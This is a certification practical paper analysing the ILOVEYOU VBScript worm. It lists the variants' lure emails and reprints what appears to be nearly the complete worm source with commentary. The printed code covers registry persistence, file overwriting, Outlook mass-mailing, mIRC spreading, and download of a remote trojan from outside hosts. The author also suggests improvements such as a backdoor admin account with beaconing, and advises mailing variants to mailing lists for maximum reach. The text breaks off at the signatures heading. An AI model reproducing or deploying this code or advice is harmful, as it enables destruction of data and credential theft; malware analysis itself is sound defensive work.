Global Information Assurance Certification Paper

GIAC Advanced Incident Handling and Hacker Exploits Practical Assignment

By

Jay Swofford

Option 2: Document an Exploit, Vulnerability or Malicious Program

I chose the VBS.LoveLetter.A, or I Love You virus, as my malicious program. I did this for two reasons. One I have ready access to its source code. And two, I recently had to decipher its contents, develop countermeasures and create repair options, since the Internet anti-virus websites were a little swamped getting out the 'official' cleaners. Since these are so easy to write, every security professional should become familiar with the programming language to determine the effects of new strains. That way they can begin introducing countermeasures long before things get out of hand.

Exploit Details:

Name: VBS.LoveLetter.A (Symantec naming convention), Lovebug, I-Worm.LoveLetter, VBS/LoveLetter.A, VBS/LoveLet-A

Variants: There are 29 known variants of this worm. A good source for a complete listing is found at http://www.symantec.com/avcenter/venc/data/vbs.loveletter.a.html

Operating System: Microsoft Windows platforms with the Windows Scripting Host engines installed. This includes Win9x, NT 4 and Windows 2000.

Protocols/Services: This worm propagates using mIRC and Microsoft Outlook. It executes by using the Windows script engines. However, this is essentially a social engineering worm since it requires user interaction to work.

Brief Description: This worm propagates by sending itself to email addresses in the Microsoft Outlook default address book and spreads itself into Internet chatrooms using mIRC. It overwrites files with various extensions with copies of itself, effectively destroying the data. In the process it adds the extension .vbs to each file making it active code on the infected system.

Protocol Description:

This takes advantage of the openness of Microsoft Operating Systems and applications. The specific items that it takes advantage of are: ability for general users to alter system files, large distribution lists of all users provided by default, and the ability of users to execute any code on the system.

Alter system files: Microsoft operating systems have default of Everyone: Full Control on all files. This allows a user to add, change or delete any file in the system. It

also allows any user by default to edit the registry. Both of these are large security holes, but play well into Microsoft's paradigm of an easy to use OS (also easy for hackers).

Distribution Lists: Microsoft Exchange provides all users with a complete list of all email addresses in its domain. It also dynamically creates a mailing list of all users in each user's contact list. This provides a very large distribution base for any program with access to MAPI.

User Rights: Users on Microsoft systems, by default, have the ability to launch any program (compare to UNIX which requires superuser to launch certain code). Here is one place where they take advantage of the social engineering. Most users leave the default in Windows to have the file extension hidden for known file types. When they see the attached files they will see TXT or some other benign extension. Only with this option off will they, hopefully, recognize these as executables and not launch them.

Description of Variants:

VBS.LoveLetter.A (LoveLetter)

Subject Line: I LOVE YOU
Attachment: LOVE-LETTER-FOR-YOU.TXT.vbs
Message Body:kindly check the attached LOVELETTER coming from me.
Misc. Notes from Symantec: None.

VBS.LoveLetter.B (Lithuanian)

Subject Line: Susitikim shi vakara kavos puodukui
Attachment: same as variant A
Message Body: same as variant A
Misc. Notes from Symantec: None.

VBS.LoveLetter.C (VeryFunny)

Subject Line: fwd: Joke
Attachment: Very Funny.vbs
Message Body: empty
Misc. Notes from Symantec: None

VBS.LoveLetter.D (BugFix)

Subject Line: same as variant A
Attachment: same as variant A
Message Body: same as variant A
Misc. Notes from Symantec: registry entry WIN- -BUGSFIX.exe instead of WIN-BUGSFIX.exe.

VBS.LoveLetter.E (MothersDay)

Subject Line: Mothers Day Order Confirmation
Attachment: mothersday.vbs
Message Body: We have proceeded to charge your credit card for the amount of $326.92 for the mothers day diamond special. We have attached a detailed invoice to this email. Please print out the attachment and keep it in a safe place. Thanks Again and Have a Happy Mothers Day!
Mothersday@subdimension.com
Misc. Notes from Symantec: mothersday.HTM sent in IRC & comment: rem hackers.com & startup page to hackes.com, l0pht.com or 2600.com.

VBS.LoveLetter.F (VirusWarning)

Subject Line: Dangerous Virus Warning

Attachment: virus_warning.jpg.vbs

Message Body: There is a dangerous virus circulating. Please click attached picture to view it and learn to avoid it.

Misc. Notes from Symantec: Urgent_virus_warning.htm

VBS.LoveLetter.G (Virus ALERT!!!)

Subject Line: Virus ALERT!!!

Attachment: protect.vbs

Message Body: a long message regarding VBS.LoveLetter.A

Misc. Notes from Symantec: FROM support@symantec.com. This variant also overwrites files with .bat and .com extensions.

VBS.LoveLetter.H (No Comments)

Subject Line: same as variant A

Attachment: same as variant A

Message Body: same as variant A

Misc. Notes from Symantec: the comment lines at the beginning of the worm code have been removed.

VBS.LoveLetter.I (Important! Read carefully!!)

Subject Line: Important! Read Carefully!!

Attachment: Important.TXT.vbs

Message Body: Check the attached IMPORTANT coming from me!

Misc. Notes from Symantec: New comment line at the beginning: 'by: BrainStorm / @ElectronicSouls'. It also copies the files ESKernel32.vbs and ES32.DLL.vbs, and MIRC script comments referring to BrainStorm and ElectronicSouls and sends IMPORTANT.HTM to the chat room.

VBS.LoveLetter.J

Subject Line: same as variant G

Attachment: same as variant G

Message Body: Largely the same as the G variant.

Misc. Notes from Symantec: This appears to be a slight modification of the G variant.

VBS.LoveLetter.K

Subject Line: How to protect yourself from the ILOVEYOU bug!

Attachment: Virus-Protection-Instructions.vbs

Message Body: Here's the easy way to fix the love virus.

Misc. Notes from Symantec: None.

VBS.LoveLetter.L (I Can't Believe This!!)

Subject Line: I Cant Believe This!!!

Attachment: KillEmAll.TXT.VBS

Message Body: I Cant Believe I have Just Received This Hate Email … Take A Look!

Misc. Notes from Symantec: comment has phrase/words: Killer, by MePhiston; It replaces GIF & BMP instead of JPG and JPEG; hides WAV and MID files instead of MP3 and MP2. No IRC routine, so it will not infect chat room users. Copies KILER.HTM, KILLER2.VBS, KILLER1.VBS to the hard disk.

VBS.LoveLetter.M (Arab Air)

Subject Line: Thank You For Flying With Arab Airlines

Attachment: ArabAir.TXT.vbs

Message Body: Please check if the bill is correct, by opening the attached file.

Misc. Notes from Symantec: Replaces DLL and EXE instead of JPG and JPEG files. Hides SYS and DLL files instead of MP3 and MP2. Copies no-hate-FOR-YOU.HTM to the hard disk.

VBS.LoveLetter.N (Variant Test)

Subject Line: Variant Test

Attachment: IMPORTANT.TXT.vbs

Message Body: This is a variant to the vbs virus.

Misc. Notes from Symantec: Copies itself as a sndvol32.vbs and IEAKDLL.vbs. Internet Explorer start page changed to http://astalavista.box.sk. It does not download the password stealing trojan. Overwrites *.mpg, *.mpeg, *.avi, *.qt, and *.qtm files. Sends the file important.htm into Internet chat rooms via mIRC.

VBS.LoveLetter.O (same as variant A)

Subject Line: same as variant A

Attachment: same as variant A

Message Body: same as variant A

Misc. Notes from Symantec: The file script.ini, which it sends into Internet chat rooms, has a modified comment line.

VBS.LoveLetter.P (Yeah Yeah)

Subject Line: Yeah, Yeah another time to DEATH…

Attachment: Vir-Killer.vbs

Message Body: This is the Killer for VBS.LOVE-LETTER.WORM.

Misc. Notes from Symantec: Sets the Internet Explorer start page to http://www.yahoo.com/Vir-Killer.exe. It does not download the password stealing trojan. Overwrites *.ZIP and *.RAR files instead of *.JPG and *.JPEG files. Hides *.PAS and *.ASM files instead of *.MP3 and *.MP2.

VBS.LoveLetter.Q (LOOK!)

Subject Line: LOOK!

Attachment: LOOK.vbs

Message Body: hehe … check this out.

Misc. Notes from Symantec: Copies itself as MSUser32.vbs and User32DLL.vbs. Overwrites *.XLS and *.MDB files instead of *.JPG and *.JPEG. Hides *.EXE and *.LNK instead of *.MP3 and *.MP2 files. Creates LOOK.HTM.

VBS.LoveLetter.R (Bewerbung)

Subject Line: Bewerbung Kreolina

Attachment: BEWERBING.TXT.vbs

Message Body: Sehr geehrte Damen and Herren!

Misc. Notes from Symantec: IRC sends BEWERBUNG.HTM into connected Internet chat room.

VBS.LoveLetter.S (same as variant A)

Subject Line: same as variant A

Attachment: same as variant A

Message Body: same as variant A

Misc. Notes from Symantec: Several comment lines have been added.

VBS.LoveLetter.T (BAND-AID)

Subject Line: Recent Virus Attacks-Fix

Attachment: BAND-AID.DOC.VBS

Message Body: Attached is a copy of a script that will reverse the effects of the LOVE-LETTER-TO-YOU.TXT.vbs as well as the FW: JOKE, Mother's Day and Lithuanian siblings.

Misc. Notes from Symantec: Sets the Internet Explorer start page to a virus-related web site. Deletes files with .BAT, .GIF, .TIF, .TIFF, .WAV, .LNK, .BAK, .DOC, .XLS, .RTF, .TXT, .HTM, .HTML, .XML, .MNY, .ZIP, .BMP, .CAB and .INF extensions. It does not hide MP3 and MP2 files but deletes them. It uses mIRC to send BAND-AID.HTM into Internet chat rooms.

VBS.LoveLetter.U (Presente)

Subject Line: PresenteUOL

Attachment: UOL.TXT.vbs

Message Body:O UOL tem um grande presente para voce, e eh exclusivo. Veja o arquivo em anexo. Http://www.uol.com.br

Misc. Notes from Symantec: Sets Internet Explorer start page to http://www.uol.com.br. It also hides .EXE, .COM and .INI files. Uses mIRC to send UOL.HTM into Internet chat rooms.

VBS.LoveLetter.V (same as variant A)

Subject Line: same as variant A

Attachment: same as variant A

Message Body: same as variant A

Misc. Notes from Symantec: Several comment lines have been added.

VBS.LoveLetter.W (same as variant A)

Subject Line: IMPORTANT: Official virus and bug fix

Attachment: Bug and virus fix.vbs

Message Body: This is an official virus and bug fix. I got it from our system admin. It may take a short while to update your system files after you run the attachment.

Misc. Notes from Symantec: Sets Internet Explorer Start page to a virus-related site. Overwrites files with the following extensions: .EXE, .COM, .DLL, .SYS, .PWL, and .TXT. Uses mIRC to send "Bug and virus fix.htm" into Internet chat rooms.

VBS.LoveLetter.X (ANTI-VIRUS-LISTE)

Subject Line: NEUE ANTI-VIRUS-LISTE

Attachment: ANTI-VIRUS-LISTE.TXT.vbs

Message Body: Hiermit senden wir Ihnen/Dir eine neue Liste mit LOVE-LETTER-VIRUS Namen, die nicht geoeffnet werden sollten, bitte sofort lesen, danke.

Misc. Notes from Symantec: Overwrites files with the following extensions: .MDB, .PDF, .WSH, .DOT, .HTA, .JS, .DRV, and .INI. Hides files with the following extensions: .XLS and .DOC. Uses mIRC to send "ANTI-VIRUS-LISTE.HTM" into Internet chat rooms.

VBS.LoveLetter.Y (LOOK! 2)

Subject Line: same as variant Q

Attachment: same as variant Q

Message Body: same as variant Q

Misc. Notes from Symantec: Similar to Q variant but hides MP3 and MP2 files.

VBS.LoveLetter.Z (BUG & VIRUS FIX)

Subject Line: BUG & VIRUS FIX

Attachment: MAJOR BUG & VIRUS FIX.vbs

Message Body: I got this from our system admin. Run this to help pervent any recent or future bug & virus attack's. It may take a small while up update your files.

Misc. Notes from Symantec: Sets Internet Explorer start page to a virus-related site. Overwrites files with the extensions .COM, .DLL, .EXE, .TXT, .BAT and .SYS. Uses mIRC to send "BUG & VIRUS FIX.HTM" into Internet chat rooms.

VBS.LoveLetter.AA (same as variant A)

Subject Line: same as variant A

Attachment: same as variant A

Message Body: same as variant A

Misc. Notes from Symantec: Several comment lines have been added.

VBS.LoveLetter.AB (same as variant A)

Subject Line: same as variant A

Attachment: same as variant A

Message Body: same as variant A

Misc. Notes from Symantec: A few lines of comment and instructions have been removed.

VBS.LoveLetter.AC (antivirusupdate)

Subject Line: New Variation on LOVEBUG Update Anti-Virus!!

Attachment: antivirusupdate.vbs

Message Body: There is now a newer variant of love bug. It was released at 8:37 PM Saturday Night. Please Download the following patch. We are trying to isolate the virus. Thanks Symantec."

Misc. Notes from Symantec: Several comment lines have been modified. Uses mIRC to send antivirusupdate.htm into Internet chat rooms.

More information can be found at the following locations:

http://www.symantec.com/avcenter/venc/data/vbs.loveletter.a.html
http://www.sans.org/y2k/iloveyou_worm.htm
http://xforce.iss.net/alerts/advise51.php
http://europe.datafellows.com/v-descs/love.htm
http://vil.mcafee.com/dispVirus.asp?virus_k=98617

How the Exploit Works:

This virus works through social engineering. It assumes that end users trust their co-workers and are unaware of spoofing practices. Without this simple assumption the entire exploit fails.

So to get the users to activate the code, they provide a subject line and message body that will trick a user into opening the provided attachment. The first variant is simple since most users will launch it without thinking. However later variants had to assume that the users already knew about the worm and were warned against launching attachments. Therefore, the authors had to get creative. Several variants claimed to be virus fixes. Other variants claimed they were receipts for purchases.

The best way to understand this worm and its variants, is to walk through the source code. Source code is in red and comments follow each line or group of lines.

```
rem  barok -loveletter(vbe) <i hate go to school>
rem                    by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft
Group  /  Manila,Philippines
```

These are comment lines at the beginning of the file. These may or may not give us clues to the identity of the author (in hindsight, they did).

```
On Error Resume Next
```

This allows the code to continue whenever any one line hits an error. For instance a bad directory or no access to a file.

```
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
```

This just declares several variables for use in the program

```
eq=""
ctr=0
```

This sets the variable eq to the null string and ctr to 0.

```
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
```

These lines allow the script access to the file system. It then reads the contents of the currently running script into a variable called vbscopy.

```
main()
sub main()
On Error Resume Next
```

We call the 'main' subroutine and then define it.

```
dim wscr,rr
```

Again we are declaring variables.

```
set wscr=CreateObject("WScript.Shell")
```

We now set the variable wscr to be a shell object. This now allows us access to the Windows operating system.

```
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout")
```

We read the registry setting named. This one defines the script timeout for vbs files.

```
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
```

This loop checks to see if the setting is greater than 1 second (finite), and if it is then it resets it to 0 (no timeout).

```
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
```

These set the variables, in order, to the directory where the currently running version of Windows is installed, the system directory of the currently running version of Windows and to the currently active temp directory. This is important since installs can be under directories of any name and multiple copies may be installed. This eliminates one defense of installing Windows to non-standard directory names.

```
Set c = fso.GetFile(WScript.ScriptFullName)
```

This retrieves the fully qualified name of the script file currently running and stores it in the variable c.

```
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
```

This copies the currently running script (stored in the variable c) to MSKernel32.vbs in the Windows directory, Win32DLL.vbs in the system directory and LOVE-LETTER-FOR-YOU.TXT.vbs in the system directory.

```
regruns()
html()
spreadtoemail()
listadriv()
end sub
```

Here we call four more subroutines and then end the main routine.

```
sub regruns()
On Error Resume Next
Dim num,downread
```

Here we initiate the regruns subroutine, setup error resumption and declare two variables.

```
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS
Kernel32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServ
ices\Win32DLL",dirwin&"\Win32DLL.vbs"
```

These two lines create entries in the registry to run the script on bootup. It runs MSKernel32.vbs every time you boot the machine. It then runs Win32DLL.vbs as a service so it continues to run while the machine is up.

```
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
```

Here we flush the downread variable to nothing and then copy into it the current Internet Explorer download directory (a directory the user is almost assured write access to). If it is set to blank, then we set it to C:\.

```
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
```

This is checking to see if the file WinFAT32.exe exists. If it does, then it generates a random number. Randomize is not a keyword in Windows Script Host, so it may also provide a clue about the author.

```
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
```

These lines take the random number previously generated and set the Internet Explorer homepage for the current user to one of four sites. Each of these sites has a copy of WINS-BUGSFIX.exe. The next time the user starts IE it will launch the site and try to download the EXE file. This EXE file is reportedly a password stealing trojan, but I was unable to verify since these sites went down shortly after the virus was released. The author should have foreseen this issue. They should have created a new account in the administrators group and sent themselves email with the IP address and hostname of the successful machines.

```
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
```

This code executes if the WIN-BIGSFIX.exe file already exists. It sets the file to run at system startup from the current Internet Explorer download

directory. It also resets the Internet Explorer start page to the local about:blank file. It then closes out this subroutine.

```
sub listadriv
On Error Resume Next
Dim d,dc,s
```

We start the listadriv subroutine, set up error resumption and declare a few variables.

```
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
```

This creates an array of all drives attached to the system. If the drive is a fixed drive (2) or a network drive (3) then it calls the subroutine folderlist. Type 1 is removable, type 4 is CD-ROM and type 5 is a RAM disk.

```
listadriv = s
end sub
```

This resets the value of listadriv to null (since s was never given a value) and closes the subroutine,

```
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
```

We start the infectfiles subroutine (passing in the folderspec variable), set up error resumption and declare a few variables.

```
set f = fso.GetFolder(folderspec)
set fc = f.Files
```

This gets us a list of all files in the current folder.

```
for each f1 in fc
```

We start a loop looking at each file in the current folder.

```
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
```

These get us the extension and name of each file in the directory. It then converts this information to lowercase to prevent comparison issues later in the code.

```
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
```

```
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
```

This overwrites the contents of vbs, vbe, js, jse, css, wsh, sct or hta files with the global variable vbscopy (which is a copy of this code). It then copies it to a new file with an appended extension of vbs and then deletes the original overwritten file. Since they overwrite the file before copying, standard undelete will not get your files back.

```
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
```

This repeats the procedure for jpg and jpeg files.

```
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
```

This repeats the procedure for MP3 and MP2 files, but instead of deleting the original, it just hides it by setting the DOS hidden attribute. So these files are not damaged, just hidden.

```
if (eq<>folderspec) then
```

This checks to see if the current contents of the variable eq are the same as the contents of the variable folderspec. If they are not equal then it executes the following mIRC script.

```
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
```

This checks to see if the current filename is mirc32.exe, mlink32.exe, mirc.ini, script.ini or mirc.hlp. If it is, then mIRC is installed and we are in the root directory. Therefore, it then creates a script file for it.

```
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
```

```
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
```

This creates the mIRC script file to upload LOVE-LETTER-FOR-YOU.HTM to Internet chat rooms. It then moves to the next file end the current directory. One all files in the current directory have been examined it exits the subroutine.

```
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
```

We start the folderlist subroutine (sending it the folderspec variable), set up error resumption and declare a few variables.

```
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
```

This provides us an array of all subfolders within the current folder. Without this the worm would only be able to affect the root directory of each drive.

```
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
```

For each subdirectory we call the infectfiles subroutine and then the folderlist subroutine, feeding each in order the path to the current subfolder. We then close out the subroutine. This simple piece of code allows the worm to reiterate through entire drives. However, the author failed to take into account linked directories. Thank goodness for small favors!

```
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
```

We start the regcreate subroutine and feed it the regkey and regvalue variables. We then create a shell object to get access to the operating system. We then write the new regvalues to the appropriate regkey entries in the registry. Forget about overwriting files that can be retrieved from backup, this is the dangerous part of the code. The author has full access to read, write or create entries in the registry. At this point, they can build all the backdoors they want.

```
function regget(value)
Set regedit = CreateObject("WScript.Shell")
```

```
regget=regedit.RegRead(value)
end function
```
This function reads a value from the registry and returns it to the calling program.
```
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
```
This function checks to see if a file exists (based on the input filename). If the file exists then it returns 0, if it does not then it returns 1.
```
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
```
This function checks to see if a folder exists (based on the input folder name). If the folder exists then it returns 0, if it does not then it returns 1.
```
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
```
We start the folderlist subroutine (sending it the folderspec variable), set up error resumption and declare a few variables.
```
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
```
We create our door to the operating system with the object regedit. We then set the object out to be Microsoft Outlook. This hardcoding is the only reason this affected only Microsoft Outlook. It actually could be rewritten to check for installed mail applications and then set the default to that app. This is a great example of the author going after low hanging fruit. Attacking the app with the widest installed base.
```
for ctrlists=1 to mapi.AddressLists.Count
```
This starts a loop that works through the entire address book.
```
set a=mapi.AddressLists(ctrlists)
x=1
```

This sets the variable a to the current address book and x to 1.

```
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\
"&a)
```

This sets regv to registry value for the address book.

```
if (regv="") then
regv=1
end if
```

If the registry entry is not defined, it is set to 1.

```
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WA
B\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from
me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
```

The rest of this subroutine just reiterates through all the email addresses in the book and sends a copy of the worm to each. This also sends to any groups defined in the Outlook address book, further extending the reach of the worm.

```
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-
@>"&vbcrlf& _
```

```
        "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-?
ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March
2000@-@>"&vbcrlf& _
        "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this
is good...@-@>"&vbcrlf& _
        "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-
#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
"&vbcrlf& _
        "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-
LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@
BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
        "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to
read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-
?p>"&vbcrlf& _
        "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-
@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
        "<?-?BODY><?-?HTML>"&vbcrlf& _
        "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
        "<!--?-??-?"&vbcrlf& _
        "if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
        "?-??-?-->"&vbcrlf& _
        "<?-?SCRIPT>"&vbcrlf& _
        "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
        "<!--"&vbcrlf& _
        "on error resume next"&vbcrlf& _
        "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
        "aw=1"&vbcrlf& _
        "code="
        dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-
@)"&vbcrlf& _
        "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
        "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
        "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
        "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
        "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-
@)"&vbcrlf& _
        "wri.write code4"&vbcrlf& _
        "wri.close"&vbcrlf& _
        "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf&
_
        "if (err.number=424) then"&vbcrlf& _
        "aw=0"&vbcrlf& _
        "end if"&vbcrlf& _
        "if (aw=1) then"&vbcrlf& _
        "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
```

```
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-
^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-
@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
```

This last subroutine creates an HTML version of the worm for uploading in the Internet chat rooms.

In summary, this worm, deletes files, propagates itself through mail and mIRC and alters the Internet Explorer home page. Nevertheless, it remains, in essence, a social engineering hack.

Diagram:

No diagram is necessary on this attack, since every infected users diagram would be different anyway.

How to use it:

Each of these variants is a program unto itself. Since the worm consists of executable code, variations and uses are endless. The user must have a knowledge of VBScript, Microsoft Visual Basic, or Microsoft Office macro languages. Once created you can initiate the worm be sending it to any legitimate Internet mail address. Although, the best effect is to send it to a mailing list to obtain the highest probability of an un-informed user receiving the mail.

Signature of the Attack:

